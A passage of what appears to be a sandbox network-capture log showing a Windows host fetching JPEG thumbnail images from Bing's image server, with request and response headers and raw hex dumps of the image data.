2024-12-06 17:45:49 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 441201 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F9018FC6D60C4393BC199F1ABAD0AEBF Ref B: EWR311000108021 Ref C: 2024-12-06T17:45:49Z Date: Fri, 06 Dec 2024 17:45:48 GMT Connection: close
2024-12-06 17:45:49 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 31 c7 a5 55 bc 80 48 07 1d 2a a3 2b 32 65 1b a3 9f 98 16 6a cf bc b7 f3 18 ed 53 bb f9 d6 fc d6 c4 1d a3 93 ec 29 16 d7 6e 77 20 f7 35 bc 6a 58 e6 95 3b 9c ea e9 ae df 36 07 d2 a3 fb 13 2c 84 85 cf b5 74 92 79 4b c7 03 d7 8a 85 c4 5b 49 03 27 e9 56 aa b3 27 49 18 12 db c8 bd 47 5a 4f b9 d0 d6 85 e1 24 fd de 3a f3 54 48 dc d8 03 1f 5a d5 4a e6 6e 08 92 de e5 a3 e3 19 15 6e 3d 51 f6 ff 00 08 fc 3a d5 68 ed 03 8e b8 fa d5 88 f4 ed c9 8c 54 4a 51 ea 38 d3 7d 0b 96 d7 71 b2 86 69 1b 27 b0 a9 24 92 3e 49 7f c7 35 5a 1b 17 4f 94 0c 67 a5 5b 5d 39 d8 67 6d 66 e5 13 48 d3 95 b5 29 5c 4c ac c3 0c cc 3d 4d 4b 1c 28 e0 32 11 f4 ab d1 69 07 1f 32 81 53 26 93 81 f2 1a 5e d1 0d 50 7d 4c dc c2 80 f9 83 27 b0 15 1b 5c c1 1b 65 7d 39 07 ad 69 5c 69 f8 52 30 4b 1a ce 9b 4f Data Ascii: 1UH*+2ejS)nw 5jX;6,tyK[I'V'IGZO$:THZJnn=Q:hTJQ8}qi'$>I5ZOg[]9gmfH)\L=MK(2i2S&^P}L'\e}9i\iR0KO
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: e4 41 16 5c fd 2a 8d d6 b3 03 5b 85 8c e0 9e 95 99 35 f3 3f ca 32 7e b5 92 a6 d9 bc ab 24 b4 13 5a bd 33 b1 04 1c 56 5b 3b 9e 86 ad de 30 65 e9 54 76 85 38 2d f4 ae 88 c6 c8 e4 94 9d cd 5d 0f 54 9a d5 88 20 b2 f7 53 5b 96 1a cc 6c df 3c 7f 2f a0 3d 2b 95 b7 3c 61 7b f7 a9 d9 25 55 07 69 f7 35 9c e9 c5 9b 42 ac a2 76 0f 78 6e 23 1e 40 da 0f 70 69 8b 04 92 b9 07 af bd 72 d6 37 b2 c1 30 48 df bf 4f 5a e8 57 51 fb 25 8f 9d 70 ea 5d ba 73 58 4a 9b 8e 88 e9 85 55 24 2d e5 a6 cf 98 8a ce 1f 64 8a 4f 32 49 94 73 d3 35 53 56 d6 5e 6f 96 1f c4 93 59 13 16 70 4b 37 35 ac 29 be a6 15 2b 2b e8 8e 81 b5 3b 3f 3b 6a fc cb fd e2 29 b2 dd 41 3c bb 22 03 3d 8d 73 7f 32 f2 0e 68 47 74 93 72 93 9c fa d6 8a 9a 31 75 9b dc df d4 23 64 b5 94 1c 82 21 90 f1 ff 00 5c da b8 cf d9 Data Ascii: A\*[5?2~$Z3V[;0eTv8-]T S[l</=+<a{%Ui5Bvxn#@pir70HOZWQ%p]sXJU$-dO2Is5SV^oYpK75)++;?;j)A<"=s2hGtr1u#d!\
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 4b 8c d1 8a 07 61 bd a9 47 d2 97 1e a2 8f ad 00 20 a3 eb 4e 23 8a 4a 06 25 07 e9 d6 94 8e f8 a4 e7 d2 81 05 27 3e 94 bf 85 2e 0d 00 33 bf 4a 03 1a 7e 33 49 b7 d6 9d c7 60 a3 14 ef 7a 3b d2 01 b8 06 8c 62 9d c0 a4 34 00 9b 7b 53 0a 92 31 cf 5a 93 9c d2 af f3 a7 70 b1 0f 96 4b 67 15 97 e2 c6 bb 97 49 bb d1 b4 99 a0 4d 63 51 d3 ae bf b3 c5 c2 ee 8c b2 a0 07 70 c8 c8 f9 c0 fa 91 5b 81 6b 91 d7 ae 27 87 f6 82 f0 7c 42 09 5a df fb 13 54 92 49 04 a0 46 bb 7c b2 49 53 d4 fc a0 0e 7b fb 56 90 96 a5 46 2e f7 4b 63 e2 5b 5f 0b 78 8b 53 d5 24 7b 9f 0e cf 6f 73 22 4b 05 ca 7d 85 9b cb 60 db 4f f1 2a 10 39 c9 1d 87 1c d5 75 f0 8f 88 6d a6 96 1b bd 29 6c 67 5b 65 80 8b b9 2d fe 62 79 55 01 9b 21 71 c8 ee 78 e6 bd 2b 4f d4 65 d6 fc 4d aa 6b 82 7f 26 de f2 ea ea 68 ad 65 Data Ascii: KaG N#J%'>.3J~3I`z;b4{S1ZpKgIMcQp[k'\|BZTIF\|IS{VF.Kc[_xS${os"K}`O*9um)lg[e-byU!qx+OeMk&he
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 35 c7 9d 19 56 8d b2 3a 11 de a0 86 49 57 0a 62 34 bd a4 8a f6 31 ec 73 ad a3 c4 b3 6c 31 fe 14 e3 a4 95 ff 00 56 84 7d 05 75 51 42 b2 b8 60 83 77 7a b2 b6 ca 3b 0a 4e a3 1a a4 bb 1c 6a d8 5c 8f ba cf f8 55 88 74 fb c6 50 de 63 9d a7 ae 6b ab fb 32 06 cf 14 e5 8a 3f ee d4 fb 46 5a a6 91 4e cd 19 6c 80 90 fc c0 73 51 b4 3e 67 cc 4f 4e f5 a0 50 7a 7d 45 34 c6 36 91 d2 a2 e5 72 98 57 96 1b a4 de 87 75 41 6f 6f 71 1c 81 a2 76 52 3d 6b 7d 61 5e a7 f0 a5 68 14 63 1f ad 3e 61 72 95 60 9e e7 8d fb 58 77 35 6e 39 83 0c b0 c5 22 c3 1f 73 fa d4 8d 1a 28 e0 52 1d 86 79 88 72 3f 5a 45 91 4b 62 9a c8 03 1f 94 8a 23 8c 86 c9 a3 40 26 db dc 50 c0 76 a1 41 f5 c7 e1 4e 6c 76 a4 03 07 5a 4c 73 9c 53 8f cd 9a 30 47 5a 00 30 47 6e d4 d2 07 7a 7f d0 d2 00 4f 4e be 94 00 d3 d3 Data Ascii: 5V:IWb41sl1V}uQB`wz;Nj\UtPck2?FZNlsQ>gONPz}E46rWuAooqvR=k}a^hc>ar`Xw5n9"s(Ryr?ZEKb#@&PvANlvZLsS0GZ0GnzON
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 18 a2 80 0c 1e 82 81 f4 a3 b5 14 00 62 8e 3b d1 cd 1c d0 01 c7 6a 32 28 19 f6 a4 c7 1d 68 10 bb 85 19 e6 93 03 d6 93 0b fd e3 40 b5 1d bb a7 14 a5 b3 c5 34 e3 a6 68 3d 68 01 db bd e8 18 e9 4c c8 eb 42 b0 c7 f8 d1 60 b8 fa 3a 7e 34 dd d4 85 bb d1 60 e6 1d 9c f2 69 dd ba f5 a8 f7 1a 37 71 d6 8e 50 e6 43 8f 5e 94 bf c3 d3 9a 8f 71 f5 a3 79 ec 68 e5 61 cc 89 7a 9e 94 99 f6 a8 c3 90 3a d2 ef 3e 94 59 87 32 1f fe 4d 1d e9 37 0e f4 64 1e 86 81 dc 5a 29 32 28 c9 a0 61 41 a3 e9 49 9a 00 55 f7 a4 34 51 40 07 4a 4c 7a d2 d2 50 04 76 f2 f9 b3 dc 26 c6 5f 21 c2 64 8f bf f2 83 91 ed cd 49 54 6c 6f 56 e3 c4 3a b5 87 9a 8c d6 02 d7 31 8f bd 1f 99 1b 37 cd f5 c6 45 5e 3d 3a d5 38 b5 b9 3c c9 ec 60 e9 7e 2b d2 ef be 24 6a fe 0e 86 ea d5 af b4 9b 3b 7b 89 11 6e 55 a5 26 4d Data Ascii: b;j2(h@4h=hLB`:~4`i7qPC^qyhaz:>Y2M7dZ)2(aAIU4Q@JLzPv&_!dITloV:17E^=:8<`~+$j;{nU&M
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 2d 1a 05 00 fb 92 00 fa d7 2e 75 ac e3 6f e9 ff 00 56 35 c0 46 d0 49 f9 fe 9f f0 4b 02 3c f3 fa d1 e5 01 53 10 7a 52 00 3b fe 55 f3 ec f4 d4 50 c5 8c 0e f4 ab 18 cf 22 9f 4e 1f 7b 26 a4 76 42 42 a0 4c 8c 41 ea 33 5f 23 cd f0 fa 7f 10 fc 60 f1 d5 fc d2 5a ff 00 c5 39 3d e5 fc 46 36 c1 7b 83 31 d9 bc 11 ca 05 0e 71 dd b1 d3 15 f5 dc 58 32 2f ae 46 2b e7 ff 00 02 a0 ff 00 84 f3 e2 eb e4 e6 7b 69 d8 73 d7 f7 d2 0c d4 4a 31 93 8a 92 d2 ff 00 a3 3a f0 b2 70 e7 94 77 d3 f3 47 cd 3e 39 d3 e1 b5 f1 5d b5 e5 bb 4c 97 ab aa bd bc cc ce 4f ee da d8 96 18 e9 92 55 79 f6 14 9f 10 f5 8b 3d 35 4c 13 e9 93 5f 24 fa 23 17 1f 6b 31 65 13 6f c8 48 19 c9 27 ef 76 c5 58 f1 9d b9 83 c4 17 50 04 cc 71 6b 25 43 06 27 76 2d d8 75 3e f5 99 f1 12 18 db 50 8c 86 50 d1 f8 7a e3 70 61 Data Ascii: -.uoV5FIK<SzR;UP"N{&vBBLA3_#`Z9=F6{1qX2/F+{isJ1:pwG>9]LOUy=5L_$#k1eoH'vXPqk%C'v-u>PPzpa
2024-12-06 17:45:49 UTC	16069	IN	Data Raw: 7c 05 d7 2c fc 45 f0 8f c3 3a d5 8d cd bc f0 dc d9 26 64 b6 24 a0 70 70 e0 67 90 43 64 1f 42 0d 7c 1f f1 c2 58 2c 3e 26 78 9e c1 9a f6 4f b3 eb 45 09 37 25 d9 d5 ae 59 46 58 f2 c7 d7 3d ab db 3f e0 9e 7f 15 7c 3d a7 fc 23 3e 15 d7 b5 1f b3 dc 5b f8 9e ea da c3 e5 2c 36 b2 79 f8 62 3e ea fc ac 03 1e 33 de bc 0f e3 71 97 55 f8 bf e2 bd 42 c2 36 b9 b6 b8 d6 0b c1 2c 7f 76 50 2e 19 89 1e b8 07 35 c9 3a 2a 32 d7 b9 ad 2a 92 72 76 47 d4 5f f0 4e b8 3c bf 86 be 28 be 32 cc df 68 f1 01 8c 23 49 94 01 22 03 21 7b 1e 40 cf a5 7d 05 bc 74 af 03 ff 00 82 7a 06 5f 82 7a b1 60 ca 5b c4 53 12 08 ff 00 a6 69 5e eb b9 87 5a c2 b4 3d e6 44 aa 5a 4d 13 ee 34 66 a1 59 7a 71 52 6f 5f 4a c2 cd 0e 33 4f a8 e0 72 7a 53 b3 c5 46 1f fd 9a 70 24 8e 94 8b 52 15 85 1d 28 cd 14 00 94 Data Ascii: \|,E:&d$ppgCdB\|X,>&xOE7%YFX=?\|=#>[,6yb>3qUB6,vP.5:2rvG_N<(2h#I"!{@}tz_z`[Si^Z=DZM4fYzqRo_J3OrzSFp$R(
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 19 a3 c1 e6 e1 3c 7f e1 c4 5b a7 fb 3c 77 f6 e7 cb 74 c1 42 1f 9e 7b 83 91 f9 55 62 97 25 19 b8 f4 4f f2 1e 16 4f da 42 e9 6f fa 9f 58 6a 3a 94 11 6b 56 76 df 6c 85 25 79 e3 26 22 80 99 06 d7 5c a9 ea 39 e0 63 de b9 fb e3 0d b6 8b 79 24 c5 6f 21 27 e6 54 01 4c 7f 30 3c e3 ad 76 da d4 70 5c eb 96 4f b2 37 db 3e f2 e8 83 74 58 8e 4c 13 e8 b9 ae 66 df cb b5 b1 92 e1 8b 4e b7 28 10 c7 c1 00 86 53 9f c6 bf 27 ad 51 72 c9 58 fd 4b 09 0f 7a 32 4c c3 b7 d3 02 78 46 5b 6b ab 39 21 b8 b7 bf 84 c5 b9 b0 ee 66 90 9c 73 d0 05 3c fb 56 0f 8c 64 92 0d 1e c6 d7 4e b5 9b ed 77 37 92 59 48 13 e6 12 aa c8 73 b5 47 62 00 03 db 35 dd 7c 5b d4 d2 7f 06 5d 5b 5d ab c2 a6 e6 06 32 2e 03 a0 de 41 e7 8c 0c 67 bd 60 7c 32 5d 33 52 b0 d1 9a d7 52 82 ca 0b 7b db b4 82 ee f1 03 c6 54 Data Ascii: <[<wtB{Ub%OOBoXj:kVvl%y&"\9cy$o!'TL0<vp\O7>tXLfN(S'QrXKz2LxF[k9!fs<VdNw7YHsGb5\|[][]2.Ag`\|2]3RR{T
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 0f f6 d9 c5 ac a1 ad 98 e1 58 15 ce 78 04 37 1c 90 4e 3a 55 8f f8 41 6c f4 cd 3e 59 b3 72 cf a3 e3 cd 22 d1 ca b4 73 e5 43 a9 c9 df 92 4e 00 e7 18 f5 a9 8d 49 bf e9 7f 99 6e 8d 38 a7 b7 e3 fe 47 05 7f a2 2c 5f 65 8a 2b 2f 0e 9c da b0 39 11 fe e8 e3 ee e0 b7 cc dc 7d 6b 8b f1 85 86 9e fe 24 be 96 7f b1 c6 5e e1 a3 97 cd 0d f3 49 91 f2 7c a7 19 f4 35 ef f6 df 0c 34 d5 8e e6 58 ec 75 13 26 8e 05 dc 9b 34 f1 b1 e2 90 0c 15 2d d4 8e bb 3a e1 81 f5 aa 3e 2f f8 3b a5 df e8 ba cf 89 6e 8d f3 35 9d 82 ea 22 ed 23 0b 69 3c 61 b7 2a ee c7 0c 38 c8 1c e1 8f 70 6b b3 0b 7e 47 a6 a7 0e 2b 96 4e e9 ad 0f 05 be f0 b8 7f 10 5d 5b dc cf 66 2d e5 b8 d8 b1 ac ce 08 da 85 8e 46 3a 8e 06 7d 6b 9a f0 be 87 74 da a5 bc 99 81 97 1e 67 c9 3a e4 0f 5c 67 35 ee 36 5e 04 d3 b5 38 75 Data Ascii: Xx7N:UAl>Yr"sCNIn8G,_e+/9}k$^I\|54Xu&4-:>/;n5"#i<a*8pk~G+N][f-F:}ktg:\g56^8u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49816	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:48 UTC	375	OUT	GET /th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:49 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 634317 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B6F389D08EF947D6A66EC0EC531A306E Ref B: EWR311000104049 Ref C: 2024-12-06T17:45:49Z Date: Fri, 06 Dec 2024 17:45:48 GMT Connection: close
2024-12-06 17:45:49 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 15 70 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 33 38 3a 30 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``pExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:38:058
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: bf 32 bc 8a bb 76 fa 52 78 ef 6b ef 3b 5e c7 74 30 d0 a6 fd dd df 99 cf 78 9b c3 d6 7a dc 68 da 87 97 67 79 6e 8b 2a 5c 43 f3 6f fc 0b 7c df 4e 2b 8c bc be 9f 4b d6 16 c7 50 b4 92 58 f7 ff 00 a3 dc 43 bb 6c ca 3a 1f f6 6b d0 bc 45 68 be 5e d6 9e 0b 7b a5 ff 00 5c e9 f3 79 cb 5c 27 8b 2f e7 d2 35 28 6d ef 2d 27 f2 e5 db ff 00 5c b6 d7 a5 87 fd f4 3d 9b 5c d6 5a 2b d9 fc 99 e7 66 34 61 07 ce 97 2b d3 55 d7 d7 fc cb 91 bd a4 b2 24 d7 10 6d db bb 63 a7 cb f3 74 e4 7f 7a 92 c6 26 82 ea ee f3 fb 4a 46 b5 8a 1d de 4f 96 ca c9 df 35 52 de f2 3d 5a 0d ab e4 5c 2e ff 00 be ef e9 ef 4f 87 51 fb 64 ff 00 67 93 cb f3 2d e5 68 bf bb be b8 5c 6a a5 28 da dd d7 65 f3 39 1f 2b 6a ff 00 22 e5 c4 12 dc 68 68 b0 f9 6b 37 fa d8 5d 3f bd f7 b8 e6 b0 f4 9b c9 ef 6e b6 fd 82 08 Data Ascii: 2vRxk;^t0xzhgyn*\Co\|N+KPXCl:kEh^{\y\'/5(m-'\=\Z+f4a+U$mctz&JFO5R=Z\.OQdg-h\j(e9+j"hhk7]?n
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 35 99 3e fd af 25 6f 53 56 6b cb 69 a0 fb 0e a5 fe b3 7a ff 00 ae 76 6f 9b 6e 7e f7 a7 a5 66 ea d6 92 e9 da 6c d3 5a f9 fe 5c ff 00 eb b7 cf f2 ed 3e ff 00 ec f6 a9 ee 35 1f 3f 46 49 ae 2d 3e 6d 8b f3 a2 7f ec a6 a9 78 a1 ef 1e d6 e2 6d 37 f7 b2 5d 43 b5 d3 ef 2b b0 c7 af f1 57 46 12 35 23 52 30 7a 45 bd 53 7a 5e e4 4a 16 bb b6 b6 f9 8b 70 22 7b 1f b7 6a 1f 35 bd ac df 3e cd d1 32 30 fb 8c 54 e6 aa e9 7e 29 8a 5b af 2e ea 4f dc ef 68 a1 99 11 57 e5 1f fb 37 b5 65 f8 4e e3 51 b3 ba 89 af a4 91 a4 bc f3 17 63 a3 2f 46 f7 e1 b3 5b de 26 b3 6b ad 29 ed e6 f3 16 4b 57 dd 6f 32 7c dd 7f f4 35 c5 7a 55 a9 d1 a7 5b d8 d6 f7 93 d9 a7 b2 eb 65 eb bf 73 28 ca 53 8b 9c 55 99 34 77 f6 6f a6 db b2 cf 1d c2 ae e5 9b 66 df 91 8f af f7 6a 39 0b 4b 3e e8 7c fb 85 b7 89 97 Data Ascii: 5>%oSVkizvon~flZ\>5?FI->mxm7]C+WF5#R0zESz^Jp"{j5>20T~)[.OhW7eNQc/F[&k)KWo2\|5zU[es(SU4wofj9K>\|
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 89 3e 1e ba de b3 49 f6 06 89 d9 5f ed 68 db 7f ef b4 dc 2a a3 88 a7 27 65 25 72 65 46 a2 57 71 76 f4 3a f6 0c b4 df 9b cc db 55 74 fd 4e 2b fb 5f b4 59 cf 6b 71 0b 7f cb 68 9f 72 fe 95 2b 5c ca bf dc ad 35 25 58 99 bf bd 4d f9 bf 8a a3 f3 e4 fb bf bb a1 6e 25 6f bd e5 d0 17 44 8a 7f 79 44 9b a9 be 7f f1 79 7b aa 36 9f fe 99 d1 7b 8f 71 f8 dd 26 ea 5f bd f7 a3 db fe e5 46 d3 ed f9 bc ba 74 72 7f d3 4a a6 1a 77 17 fe d9 ee a1 bf bb 43 14 5f f7 a9 19 e3 59 36 f9 9f 35 48 c2 42 be 5f cb 4e f9 4f de 92 88 f6 ff 00 cf 4a 74 91 ee 8f e5 a9 e6 d0 7c a3 7e f4 7b a9 18 ff 00 15 2a c1 fb ca 1a 2d df 33 51 74 c1 21 19 7f 79 ba 97 1f de a6 b2 7f df 34 bb 3f 85 7e f5 26 2b 30 90 7f 15 2f 4a 6f 97 fc 2d 42 ee f3 3f dd a6 16 63 9b fb b4 d6 1b b6 6d a3 0f ff 00 02 a5 54 Data Ascii: >I_h'e%reFWqv:UtN+_Ykqhr+\5%XMn%oDyDy{6{q&_FtrJwC_Y65HB_NOJt\|~{-3Qt!y4?~&+0/Jo-B?cmT
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: 94 a8 d2 ba 3f ee a5 86 3e 1a 3f 2d db ef 71 fc 07 e5 cd 4d e2 ab 68 25 f8 79 a7 4d 75 69 f6 29 ad 5f 6d c2 26 df b5 3c 61 5d 15 9f fe 07 ee 71 59 e3 28 d0 c4 63 62 9d a2 f9 b9 5a 8a 57 d1 35 16 d5 93 69 db 4d 3f e0 dd 37 3f 66 e4 bb 7f c3 94 fc 3b 37 8b 34 7d 0e 69 23 fb 5b 5c 44 eb 12 7c 91 b2 cc bb 78 11 b2 1d df 28 fa ab 0a d4 f1 85 ed b2 f8 76 1f b1 db c1 67 aa 5f da 5b b4 cf 70 8c d2 cc a7 f8 53 d3 3d 4f e7 59 df 06 f5 0d 15 ee ed 16 fa 48 2d e6 b5 b7 65 49 bc b6 55 79 0b 7f 1e de 5f fd 9f 4a 67 8d 3c 23 79 7b e2 0d 3f cc d7 63 ba 6f 35 57 63 bf cb 32 ff 00 1b 7f b1 fe eb 75 f6 ae ba ce 82 cd 9d 3c 52 f6 6e 37 95 d2 6b 9b ad ac ae 9a d1 6e fa f6 1c 64 dd 1b c7 5b e8 74 1e 3a d2 59 a4 d2 f5 49 23 f3 5a df 4e db 0d da 3f 95 14 2c 8d b9 97 9f f7 f1 83 Data Ascii: ?>?-qMh%yMui)_m&<a]qY(cbZW5iM?7?f;74}i#[\D\|x(vg_[pS=OYH-eIUy_Jg<#y{?co5Wc2u<Rn7knd[t:YI#ZN?,
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: d6 fe da f6 4b 7d 1e 69 23 6f e2 79 a1 9f c8 64 50 bc 75 fb df ee 9f c2 96 eb 47 f3 e4 69 23 92 49 5a 27 fd f4 3e 7a af 45 dc 4f f4 f9 be 95 e3 55 94 61 52 52 ae dc 25 2b eb 64 95 af a7 93 7e 6d 1d 6e 7e ea 51 2a 46 25 b5 be 79 2d e3 8f cc d9 f7 3c 85 6d 8a 7a b7 15 06 9e f0 36 95 6f 67 35 df fa 2c 1f 32 6f 76 f9 24 dd b7 fe 03 9c d5 9d 72 09 f4 b9 fc 9b 59 ee ad e1 df b5 d2 ef 6b 7c db be e7 e0 a6 a8 b5 f5 e5 bd dc cd 34 76 bb be 55 de 89 f2 ee fc 33 5d 94 e6 b1 14 d4 a8 f5 eb 7e df 2f 33 19 49 ad 3a 0d d7 af 2f b4 e8 d2 ea 38 e0 56 57 f9 1f fb f8 5d dc b6 7a d5 1d 3f 5d 9d b6 59 ad 85 ad d2 dc 26 d7 74 db f3 e5 b7 ed 7e fc 35 49 75 3d cc b6 af 24 36 9b 63 95 ff 00 7c fb f7 2b b7 b7 f7 7e f5 61 de 3c b6 ba 8c 32 2b c7 14 9f df 4f 99 5f b7 6a f4 70 d8 58 Data Ascii: K}i#oydPuGi#IZ'>zEOUaRR%+d~mn~Q*F%y-<mz6og5,2ov$rYk\|4vU3]~/3I:/8VW]z?]Y&t~5Iu=$6c\|+~a<2+O_jpX
2024-12-06 17:45:49 UTC	16384	IN	Data Raw: d3 b5 2d 26 c7 fb 36 7b 55 6b bf b4 a2 4c 8c bf 31 fb cd b8 73 fc 5d 6b b6 f8 a7 a9 4f a5 68 f6 f6 2d 77 3f 97 15 de df 9d fc a9 ed 6e 42 f0 cb b0 7e f1 76 b5 4d 1e 8b 67 17 88 2c 66 d5 2e ee 95 a5 db 22 5e 7d aa 3f 9d 93 fe 59 f9 7f c0 a3 df f3 ae 6f e2 b6 b7 a8 58 5a ea 3a 3d f7 9f aa 5a b5 a7 9b 14 c9 03 32 d9 b0 fb ad dc a1 ec 4e 76 d7 9b 4e b4 33 8c c2 85 a2 bd d5 76 b6 bd dd b4 6e fb 5f 66 d3 e9 e4 74 d3 a7 c9 4e a7 33 fe af b1 d6 e8 fa f4 5a df 88 2e 34 18 e3 fb 55 8d aa 6e ff 00 8f ad cc ed fe cb 70 fc d4 5f 62 d0 d7 4a 7f 08 da db a2 c2 de 67 d9 9d 11 7c d8 5b ef 67 7f 5d df ef 7d 2b 82 f0 5c 3a 7e 8d a6 da 78 a1 b5 37 5b eb a8 7c ab bf 36 7f 97 e7 6c 89 17 23 3f 2a fe 0d d8 e6 ae 78 bd bf b3 3c 54 91 c3 71 74 d6 3a a5 8a ac db d3 6b 3b 37 39 55 Data Ascii: -&6{UkL1s]kOh-w?nB~vMg,f."^}?YoXZ:=Z2NvN3vn_ftN3Z.4Unp_bJg\|[g]}+\:~x7[\|6l#?*x<Tqt:k;79U
2024-12-06 17:45:49 UTC	16069	IN	Data Raw: de d5 b7 af db 91 13 76 c9 87 dd 1d f7 67 3d fe e9 ac 6d 5b c3 6d 71 e2 6d 7a d6 f9 2d 1b 52 bc bb 5f b3 dc 5c a7 fc b3 48 fe 42 a8 ad fc 4c aa 73 f9 83 5d ad d5 8d a5 df 88 26 58 ff 00 75 a8 35 a3 2c 2e 8e de 44 df 2f ee d8 ff 00 7c fd e5 cf fb 35 ca 6b d6 13 db 6b 93 6a 4d 77 25 c4 d6 b6 ec be 4c c8 bb be 4f ba 71 fd ec d7 46 5d 8a 9a 8a 85 3a 9c ad 47 48 db ab 7c ca cd 74 e9 ae 8d 25 73 6a 91 6e 3b 9a 53 58 40 96 b6 97 17 50 79 b7 56 b3 46 be 4b ce b1 6f 91 e3 77 65 54 6e 1b e6 da 7f dd ab 3e 24 ba 5d 47 c3 0f 0d d4 12 2c 29 ab c1 f6 1f 27 e5 d8 c1 4e ef 97 fb bf 4c 7a d7 9a 6b 92 cb 75 f0 e5 ed f4 bb b9 de de ce ee 4b 99 b7 a2 b6 fc af de 3f 4a d3 f8 6f a9 ea 1a 25 ac 2d a8 47 05 af db 1d 57 ca 87 ef 79 61 78 6d bf de e5 bb f4 ae e9 64 b5 63 49 57 e7 Data Ascii: vg=m[mqmz-R_\HBLs]&Xu5,.D/\|5kkjMw%LOqF]:GH\|t%sjn;SX@PyVFKoweTn>$]G,)'NLzkuK?Jo%-GWyaxmdcIW
